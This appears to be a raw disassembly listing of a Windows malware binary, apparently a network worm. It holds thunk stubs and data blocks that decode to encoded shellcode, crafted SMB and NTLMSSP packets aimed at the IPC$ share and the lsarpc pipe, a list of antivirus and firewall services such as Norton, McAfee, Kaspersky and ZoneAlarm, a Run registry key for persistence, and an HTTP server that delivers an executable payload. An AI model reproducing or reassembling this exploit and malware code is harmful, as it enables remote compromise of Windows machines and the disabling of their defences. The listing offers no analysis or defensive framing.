		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44070D	proc near		; CODE XREF: sub_43F2D4+1Ep
		jmp	dword ptr ds:loc_4052C7+1
sub_44070D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440719	proc near		; CODE XREF: .data:0043F512p
					; .data:004403C2p
		jmp	dword ptr ds:loc_4052C7+5
sub_440719	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440725	proc near		; CODE XREF: .data:0043F4B6p
		jmp	dword ptr ds:loc_4052CE+2
sub_440725	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440731	proc near		; CODE XREF: .data:0043F551p
					; .data:0043FDE4p
		jmp	dword ptr ds:loc_4052CE+6
sub_440731	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44073D	proc near		; CODE XREF: .data:0043F52Ep
		jmp	dword ptr ds:loc_4052D6+2
sub_44073D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440749	proc near		; CODE XREF: .data:0043F56Ep
		jmp	dword ptr ds:loc_4052D6+6
sub_440749	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440755	proc near		; CODE XREF: sub_43F017+13p
		jmp	dword ptr ds:loc_4052DD+3
sub_440755	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440761	proc near		; CODE XREF: .data:0043F58Cp
					; sub_43F725+17Ep
		jmp	dword ptr ds:loc_4052E4
sub_440761	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44076D	proc near		; CODE XREF: .data:0043F4AAp
					; .data:0043F4E4p ...
		jmp	dword ptr ds:loc_4052E4+4
sub_44076D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440779	proc near		; CODE XREF: sub_43F725+72p
		jmp	dword ptr ds:loc_4052E4+8
sub_440779	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440785	proc near		; CODE XREF: sub_43F725+BBp
					; sub_43F725+D9p ...
		jmp	dword ptr ds:loc_4052EE+2
sub_440785	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440791	proc near		; CODE XREF: .data:0043F612p
					; .data:004400DAp ...
		jmp	dword ptr ds:loc_4052F3+1
sub_440791	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44079D	proc near		; CODE XREF: sub_440126+185p
		jmp	dword ptr ds:loc_4052F5+3
sub_44079D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407A9	proc near		; CODE XREF: sub_4403F5+108p
		jmp	dword ptr ds:loc_405302+2
sub_4407A9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407B5	proc near		; CODE XREF: sub_4403F5+60p
		jmp	dword ptr ds:loc_405308
sub_4407B5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407C1	proc near		; CODE XREF: sub_4403F5+12Bp
		jmp	dword ptr ds:loc_405309+3
sub_4407C1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407CD	proc near		; CODE XREF: sub_4403F5+113p
		jmp	dword ptr ds:loc_405310
sub_4407CD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407D9	proc near		; CODE XREF: sub_4403F5+11Cp
		jmp	dword ptr ds:loc_405311+3
sub_4407D9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407E5	proc near		; CODE XREF: .data:004403CBp
		jmp	dword ptr ds:loc_405318
sub_4407E5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407F1	proc near		; CODE XREF: sub_4403F5+87p
		jmp	dword ptr ds:loc_40531A+2
sub_4407F1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4407FD	proc near		; CODE XREF: .data:004403D8p
		jmp	dword ptr ds:loc_405320
sub_4407FD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440809	proc near		; CODE XREF: .data:004403EBp
		jmp	dword ptr ds:loc_405320+4
sub_440809	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440815	proc near		; CODE XREF: sub_440126+C5p
					; sub_440126+205p
		jmp	dword ptr ds:loc_40532D+3
sub_440815	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440821	proc near		; CODE XREF: sub_440126+6Fp
					; sub_440126+82p
		jmp	dword ptr ds:loc_405332+2
sub_440821	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44082D	proc near		; CODE XREF: sub_440126+BFp
		jmp	dword ptr ds:loc_405337+1
sub_44082D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440839	proc near		; CODE XREF: sub_440126+2Cp
		jmp	dword ptr ds:loc_405339+3
sub_440839	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440845	proc near		; CODE XREF: sub_440126+59p
		jmp	dword ptr ds:loc_405340
sub_440845	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440851	proc near		; CODE XREF: sub_440126+1F5p
		jmp	dword ptr ds:loc_405340+4
sub_440851	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44085D	proc near		; CODE XREF: sub_43F2F9+21p
		jmp	dword ptr ds:loc_405347+1
sub_44085D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440869	proc near		; CODE XREF: sub_43F2F9+4Bp
					; sub_43F364+40p ...
		jmp	dword ptr ds:loc_405347+5
sub_440869	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440875	proc near		; CODE XREF: sub_43F364+16p
					; sub_440126+1D1p
		jmp	dword ptr ds:loc_405350
sub_440875	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440881	proc near		; CODE XREF: sub_43F364+36p
		jmp	dword ptr ds:loc_405350+4
sub_440881	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44088D	proc near		; CODE XREF: sub_43F2F9+41p
		jmp	dword ptr ds:loc_405355+3
sub_44088D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440899	proc near		; CODE XREF: sub_43F239+15p
		jmp	dword ptr ds:loc_405363+1
sub_440899	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408A5	proc near		; CODE XREF: .data:0043F1FFp
		jmp	dword ptr ds:loc_405366+2
sub_4408A5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408B1	proc near		; CODE XREF: .data:0043FE0Ep
					; .data:0043FE48p ...
		jmp	dword ptr ds:loc_40536B+1
sub_4408B1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408BD	proc near		; CODE XREF: .data:0043F22Ap
		jmp	dword ptr ds:loc_40536B+5
sub_4408BD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408C9	proc near		; CODE XREF: sub_43F725+B2p
					; sub_43F725+D0p ...
		jmp	dword ptr ds:loc_405372+2
sub_4408C9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408D5	proc near		; CODE XREF: sub_43F725+16Dp
					; sub_43F725+2E4p ...
		jmp	dword ptr ds:loc_405372+6
sub_4408D5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408E1	proc near		; CODE XREF: .data:0043F180p
		jmp	dword ptr ds:loc_405379+3
sub_4408E1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408ED	proc near		; CODE XREF: sub_43F624:loc_43F64Dp
					; sub_43F624:loc_43F6A7p ...
		jmp	dword ptr ds:loc_40537F+1
sub_4408ED	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4408F9	proc near		; CODE XREF: .data:0043F139p
					; .data:0043F153p ...
		jmp	dword ptr ds:loc_40537F+5
sub_4408F9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440905	proc near		; CODE XREF: .data:0043F43Fp
					; sub_43F624+F4p ...
		jmp	dword ptr ds:loc_405385+3
sub_440905	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440911	proc near		; CODE XREF: .data:0043FDD2p
		jmp	dword ptr ds:loc_405385+7
sub_440911	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44091D	proc near		; CODE XREF: sub_43F239+6Bp
					; sub_43F239+8Ep ...
		jmp	dword ptr ds:loc_40538F+1
sub_44091D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440929	proc near		; CODE XREF: sub_4405FD+17p
		jmp	dword ptr ds:loc_40538F+5
sub_440929	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440935	proc near		; CODE XREF: .data:0043F3F0p
					; .data:0043F40Cp
		jmp	dword ptr ds:loc_405396+2
sub_440935	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h,	17h dup(0)
		dd 40300000h, 40311000h, 800000h, 22h dup(0)
		dd 5000h, 0
		dd 34303400h, 746F4E20h, 756F6620h, 2900646Eh, 0D960413Ah
		dd 170A0705h, 27251F1Bh, 2AC9C5ACh, 0DF7F5F3Ch,	746845EBh
		dd 2F3A7074h, 3732312Fh, 2 dup(3030302Eh), 3130302Eh, 3030303Ah
		dd 662F3038h, 0AEAE6273h, 335DAE62h, 0A0B966C9h, 5758D01h
		dd 68AFE8Bh, 575993Ch, 2C068A46h, 99344630h, 0E2470788h
		dd 0E80AEBEDh, 0FFFFFFDAh, 99999999h, 41E41499h, 0C9994671h
		dd 0C999C999h, 712FE414h, 99C9994Eh, 0F3C999C9h, 0C999F19Dh
		dd 99C99989h, 0C999F1C9h, 999CC999h, 0C999F3C9h, 99988B71h
		dd 67C999C9h, 10F0E3F3h, 9998931Ch, 0F3C999C9h,	414C999h
		dd 0C999989Bh, 71CAC999h, 99C99963h, 0BC999C9h,	10A7C196h
		dd 0C999671Ch, 0C999C999h, 9666611Ah, 0C999091Dh, 0C999C999h
		dd 0C8C850B2h, 1498F3C8h, 71C941DCh, 99C99936h,	4EC999C9h
		dd 1291C0A4h, 0ED599249h, 0C959B2EFh, 14C9C9C9h, 0CBCA2FC4h
		dd 0C9990C71h, 0C999C999h, 21E424FFh, 0C7ED5992h, 99F1CDCDh
		dd 9CC999C9h, 2C66C999h, 0C9999893h, 71C9C999h,	99C999E3h
		dd 0FBC999C9h, 6683B8B0h, 9998932Ch, 66C999C9h,	0C999672Ch
		dd 0C999C999h, 0C9991471h, 0C999C999h, 0E7C29C9Bh, 99672C66h
		dd 99C999C9h, 99E771C9h, 99C999C9h, 31F1AC9h, 149CF3A4h
		dd 99989B04h, 0CAC999C9h, 0C999F571h, 0C999C999h, 7126F434h
		dd 71C998F3h, 99C999F9h, 77C999C9h, 14865973h, 496624D4h
		dd 0C999CB71h, 0C999C999h, 0EF133BF9h, 0A13729F9h, 0DE9AED9Eh
		dd 9E5F6072h, 5AF8C999h, 0C999A9C1h, 2 dup(0C999C999h)
		dd 0B7FBEAFFh, 99FCE1FCh, 4 dup(99C999C9h), 0F934C7C9h
		dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h,	0C983639Dh
		dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h,	91720A95h
		dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h,	529AE180h
		dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh,	0DB9BAB9Eh
		dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh
		dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah
		dd 10F885BDh, 9998971Ch, 66C999C9h, 0FD7F6649h,	0A98712FEh
		dd 0C212C999h, 85C21295h, 0C2128212h, 0FDC65A91h, 0C6EAFAh
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 53FFA400h, 73424Dh, 18000000h, 0C807h, 3 dup(0)
		dd 0FEFFh, 0FF0C0010h, 400A400h, 0A11h,	0
		dd 2000h, 0D4000000h, 69800000h, 4C544E00h, 5053534Dh
		dd 100h, 8829700h, 0E0h, 3 dup(0)
		dd 570000h, 6E0069h, 6F0064h, 730077h, 320020h,	300030h
		dd 200030h, 310032h, 350039h, 570000h, 6E0069h,	6F0064h
		dd 730077h, 320020h, 300030h, 200030h, 2E0035h,	30h, 0
		dd 0FFDA0000h, 73424D53h, 0
		dd 0C80718h, 3 dup(0)
		dd 0FEFF00h, 0C002008h,	0DA00FFh, 0A1104h, 0
		dd 570000h, 0
		dd 800000D4h, 544E009Fh, 53534D4Ch, 30050h, 10000h, 460001h
		dd 0
		dd 470000h, 0
		dd 400000h, 0
		dd 400000h, 60000h, 400006h, 100000h, 470010h, 8A150000h
		dd 48E088h, 44004Fh, 6A198100h,	49E4F27Ah, 30AF281Ch, 67107425h
		dd 69005753h, 64006E00h, 77006F00h, 20007300h, 30003200h
		dd 30003000h, 32002000h, 39003100h, 3500h, 69005700h, 64006E00h
		dd 77006F00h, 20007300h, 30003200h, 30003000h, 35002000h
		dd 30002E00h, 2	dup(0)
		dd 53FF5C00h, 75424Dh, 18000000h, 0C807h, 3 dup(0)
		dd 800FEFFh, 0FF040030h, 8005C00h, 31000100h, 5C0000h
		dd 31005Ch, 320039h, 31002Eh, 380036h, 31002Eh,	32002Eh
		dd 300031h, 49005Ch, 430050h, 24h, 3F3F3F3Fh, 3Fh, 0FF640000h
		dd 0A2424D53h, 0
		dd 0C80718h, 3 dup(0)
		dd 4DC08h, 18004008h, 0DEDE00FFh, 16000E00h, 0
		dd 9F000000h, 201h, 2 dup(0)
		dd 3000000h, 1000000h, 40000000h, 2000000h, 3000000h, 5C000011h
		dd 73006C00h, 72006100h, 63007000h, 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0C000000h
		dd 4D53FFF4h, 2542h, 7180000h, 0C8h, 2 dup(0)
		dd 0DC080000h, 60080004h, 1000h, 0CA0h,	400h, 2	dup(0)
		dd 540000h, 540CA0h, 260002h, 0CB14000h, 50005C10h, 50004900h
		dd 5C004500h, 0
		dd 500h, 1003h,	0CA000h, 100h, 0C8800h,	9000000h, 3EC00h
		dd 0
		dd 3EC00h, 14950000h, 30040h, 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 85780000h, 5BAB0013h, 0E9A6h, 0FFF81000h, 2F424D53h
		dd 0
		dd 0C80718h, 3 dup(0)
		dd 0FEFF08h, 0E006008h,	0DEDE00FFh, 4000h, 0FFFF0000h
		dd 8FFFFh, 10B8h, 4010B8h, 0
		dd 5EE10B9h, 10010000h,	0B8000000h, 1000010h, 0C000000h
		dd 20h,	0AD000900h, 0Dh, 0AD000000h, 0Dh, 0D80F0000h, 424D53FFh
		dd 25h,	0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 10h dup(0)
		dd 460000h, 101h, 0Dh dup(0)
		dd 15123C00h, 275h, 0Dh	dup(0)
		dd 1C123C00h, 75h, 0Eh dup(0)
		dd 0EC816600h, 0E4FF071Ch, 100h, 404CF700h, 404CE900h
		dd 200h, 180h, 404CF700h, 404CE000h, 100h, 180h, 404CF700h
		dd 404CCF00h, 200h, 80h, 0
		dd 404CB500h, 0
		dd 404C9C00h, 2	dup(0)
		dd 404C8C00h, 2	dup(0)
		dd 404C8200h, 2	dup(0)
		dd 404C6900h, 2	dup(0)
		dd 404C5000h, 2	dup(0)
		dd 404C4300h, 2	dup(0)
		dd 404C3300h, 100h, 0
		dd 404C2C00h, 100h, 4049F800h, 404C2400h, 100h,	0
		dd 404C1900h, 2	dup(0)
		dd 404C1200h, 100h, 0
		dd 404C0C00h, 100h, 0
		dd 404C0300h, 100h, 0
		dd 404BFC00h, 100h, 0
		dd 404BF300h, 100h, 0
		dd 404BEC00h, 100h, 0
		dd 404BE500h, 100h, 0
		dd 404BDD00h, 100h, 0
		dd 404BD700h, 100h, 404A0800h, 404BD000h, 100h,	0
		dd 404BC800h, 100h, 0
		dd 404BC100h, 100h, 0
		dd 404BBB00h, 100h, 0
		dd 404BB200h, 100h, 404A1800h, 404BAD00h, 100h,	0
		dd 404BA800h, 100h, 404A2800h, 404BA200h, 100h,	0
		dd 524F5700h, 6669004Dh, 6F530063h, 61777466h, 4D5C6572h
		dd 6F726369h, 74666F73h, 6E69575Ch, 73776F64h, 6B005C00h
		dd 6469706Ch, 706C6B00h, 6C6B0066h, 76006669h, 74616473h
		dd 746E61h, 6F6D7376h, 6D6B006Eh, 78627378h, 786D6B00h
		dd 7369646Eh, 786D6B00h, 736469h, 66786D6Bh, 6D6B0077h
		dd 6C696678h, 6D6B0065h, 67666378h, 786D6B00h, 676962h
		dd 61786D6Bh, 746E6567h, 786D5500h, 676643h, 41786D55h
		dd 746E6567h, 786D5500h, 5500554Ch, 6F50786Dh, 6D53006Ch
		dd 72655363h, 65636976h, 69667300h, 7265746Ch, 736E6C00h
		dd 317766h, 7074754Fh, 4674736Fh, 77657269h, 6C6C61h, 72616873h
		dd 63616465h, 73736563h, 41634D00h, 20656566h, 6D617246h
		dd 726F7765h, 6553206Bh, 63697672h, 65440065h, 74636574h
		dd 6420726Fh, 664F2065h, 65636966h, 6E616353h, 5A00544Eh
		dd 41656E6Fh, 6D72616Ch, 6E615000h, 41206164h, 7669746Eh
		dd 73757269h, 726F4E00h, 206E6F74h, 69746E41h, 75726976h
		dd 65532073h, 63697672h, 614B0065h, 72657073h, 20796B73h
		dd 69746E41h, 6361482Dh, 2E72656Bh, 6B6E6Ch, 656E6F5Ah
		dd 62614C20h, 6C432073h, 746E6569h, 6F4D4100h, 6F74696Eh
		dd 6F4C0072h, 27206B6Fh, 5320276Eh, 706F74h, 54464F53h
		dd 45524157h, 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h
		dd 435C7377h, 65727275h, 6556746Eh, 6F697372h, 75525C6Eh
		dd 78006Eh, 253A7325h, 31002F75h, 312E3239h, 252E3836h
		dd 75252E75h, 32373100h, 2E75252Eh, 252E7525h, 30310075h
		dd 2E75252Eh, 252E7525h, 6EB0075h, 5C0006EBh, 5C73255Ch
		dd 24637069h, 2E752500h, 252E7525h, 75252E75h, 54544800h
		dd 2E312F50h, 30322031h, 4B4F2030h, 0A0D0A0Dh, 43000A0Dh
		dd 65746E6Fh, 4C2D746Eh, 74676E65h, 25203A68h, 0D0A0D75h
		dd 5448000Ah, 312F5054h, 3220312Eh, 4F203030h, 430A0D4Bh
		dd 65746E6Fh, 542D746Eh, 3A657079h, 70706120h, 6163696Ch
		dd 6E6F6974h, 652D782Fh, 632D6578h, 72706D6Fh, 65737365h
		dd 0A0D64h, 787878h, 544547h, 300050h, 6 dup(0)
		dd 50F400h, 2 dup(0)
		dd 57F400h, 524C00h, 513800h, 2	dup(0)
		dd 583C00h, 529000h, 514400h, 2	dup(0)
		dd 584C00h, 529C00h, 515000h, 2	dup(0)
		dd 585C00h, 52A800h, 51AC00h, 2	dup(0)
		dd 58C000h, 530400h, 51D800h, 2	dup(0)
		dd 58F000h, 533000h, 520C00h, 2	dup(0)
		dd 592C00h, 536400h, 1Ah dup(0)
		dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h,	53E000h
		dd 53F000h, 540000h, 540800h, 541400h, 542000h,	542C00h
		dd 543400h, 543C00h, 544800h, 2	dup(0)
		dd 545400h, 2 dup(0)
		dd 547000h, 2 dup(0)
		dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h,	54EC00h
		dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h,	556000h
		dd 557000h, 558000h, 558C00h, 559800h, 55A800h,	55B000h
		dd 55BC00h, 55C800h, 55D800h, 2	dup(0)
		dd 55E800h, 55F400h, 560800h, 561800h, 562C00h,	564000h
		dd 565400h, 566800h, 567800h, 2	dup(0)
		dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h,	56EC00h
		dd 570000h, 571400h, 572400h, 573400h, 574800h,	2 dup(0)
		dd 575C00h, 576400h, 577400h, 578000h, 578800h,	579400h
		dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h,	57D000h
		dd 57DC00h, 57E800h, 2 dup(0)
		dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h,	53E000h
		dd 53F000h, 540000h, 540800h, 541400h, 542000h,	542C00h
		dd 543400h, 543C00h, 544800h, 2	dup(0)
		dd 545400h, 2 dup(0)
		dd 547000h, 2 dup(0)
		dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h,	54EC00h
		dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h,	556000h
		dd 557000h, 558000h, 558C00h, 559800h, 55A800h,	55B000h
		dd 55BC00h, 55C800h, 55D800h, 2	dup(0)
		dd 55E800h, 55F400h, 560800h, 561800h, 562C00h,	564000h
		dd 565400h, 566800h, 567800h, 2	dup(0)
		dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h,	56EC00h
		dd 570000h, 571400h, 572400h, 573400h, 574800h,	2 dup(0)
		dd 575C00h, 576400h, 577400h, 578000h, 578800h,	579400h
		dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h,	57D000h
		dd 57DC00h, 57E800h, 0
		dd 57003000h, 74534153h, 75747261h, 70h, 61003500h, 70656363h
		dd 74h,	62003600h, 646E69h, 63003700h, 65736F6Ch, 6B636F73h
		dd 7465h, 63003800h, 656E6E6Fh,	7463h, 67003B00h, 6F687465h
		dd 79627473h, 656D616Eh, 67003C00h, 6F687465h, 616E7473h
		dd 656Dh, 68004600h, 736E6F74h,	69004700h, 5F74656Eh, 72646461h
		dd 69004900h, 5F74656Eh, 616F746Eh, 6C004B00h, 65747369h
		dd 6Eh,	72004F00h, 766365h, 73005500h, 646E65h,	73005900h
		dd 64747568h, 6E776Fh, 73005A00h, 656B636Fh, 74h, 49008100h
		dd 7265746Eh, 4774656Eh, 6F437465h, 63656E6Eh, 53646574h
		dd 65746174h, 53004F00h, 74654748h, 63657053h, 466C6169h
		dd 65646C6Fh, 74615072h, 4168h,	45008200h, 54746978h, 61657268h
		dd 64h,	4700CA00h, 6F437465h, 6E616D6Dh, 6E694C64h, 4165h
		dd 4700DE00h, 75437465h, 6E657272h, 6F725074h, 73736563h
		dd 6449h, 4700F800h, 69467465h,	6953656Ch, 657Ah, 47010C00h
		dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 43001B00h
		dd 65736F6Ch, 646E6148h, 656Ch,	47015500h, 69547465h, 6F436B63h
		dd 746E75h, 47015C00h, 65567465h, 6F697372h, 6Eh, 47016800h
		dd 61626F6Ch, 6464416Ch, 6D6F7441h, 41h, 49019200h, 7265746Eh
		dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 49019400h, 7265746Eh
		dd 6B636F6Ch, 6E496465h, 6D657263h, 746E65h, 4C01AD00h
		dd 6C61636Fh, 6F6C6C41h, 63h, 43003100h, 74616572h, 6C694665h
		dd 4165h, 5201FA00h, 46646165h,	656C69h, 52020E00h, 6E556C74h
		dd 646E6977h, 52020F00h, 655A6C74h, 654D6F72h, 79726F6Dh
		dd 53026400h, 7065656Ch, 6C02C600h, 63727473h, 416E7970h
		dd 6C02C900h, 6C727473h, 416E65h, 43004700h, 74616572h
		dd 72685465h, 646165h, 44005400h, 74656C65h, 6C694665h
		dd 4165h, 5300FE00h, 69547465h,	72656Dh, 52000200h, 73696765h
		dd 43726574h, 7373616Ch, 41h, 47002000h, 654D7465h, 67617373h
		dd 4165h, 54002400h, 736E6172h,	6574616Ch, 7373654Dh, 656761h
		dd 44002500h, 61707369h, 4D686374h, 61737365h, 416567h
		dd 50003D00h, 5174736Fh, 4D746975h, 61737365h, 6567h, 43004F00h
		dd 74616572h, 6E695765h, 45776F64h, 4178h, 44005100h, 72747365h
		dd 6957796Fh, 776F646Eh, 44005B00h, 69576665h, 776F646Eh
		dd 636F7250h, 41h, 4300BF00h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 65h, 4300C000h, 72746E6Fh, 65536C6Fh, 63697672h
		dd 65h,	4400C300h, 74656C65h, 72655365h, 65636976h, 4F00D100h
		dd 536E6570h, 6E614D43h, 72656761h, 41h, 4F00D300h, 536E6570h
		dd 69767265h, 416563h, 52016700h, 65446765h, 6574656Ch
		dd 756C6156h, 4165h, 52017100h,	72436765h, 65746165h, 4579654Bh
		dd 4178h, 52017400h, 6C436765h,	4B65736Fh, 7965h, 52017900h
		dd 704F6765h, 654B6E65h, 41784579h, 52018400h, 75516765h
		dd 56797265h, 65756C61h, 417845h, 52019000h, 65536765h
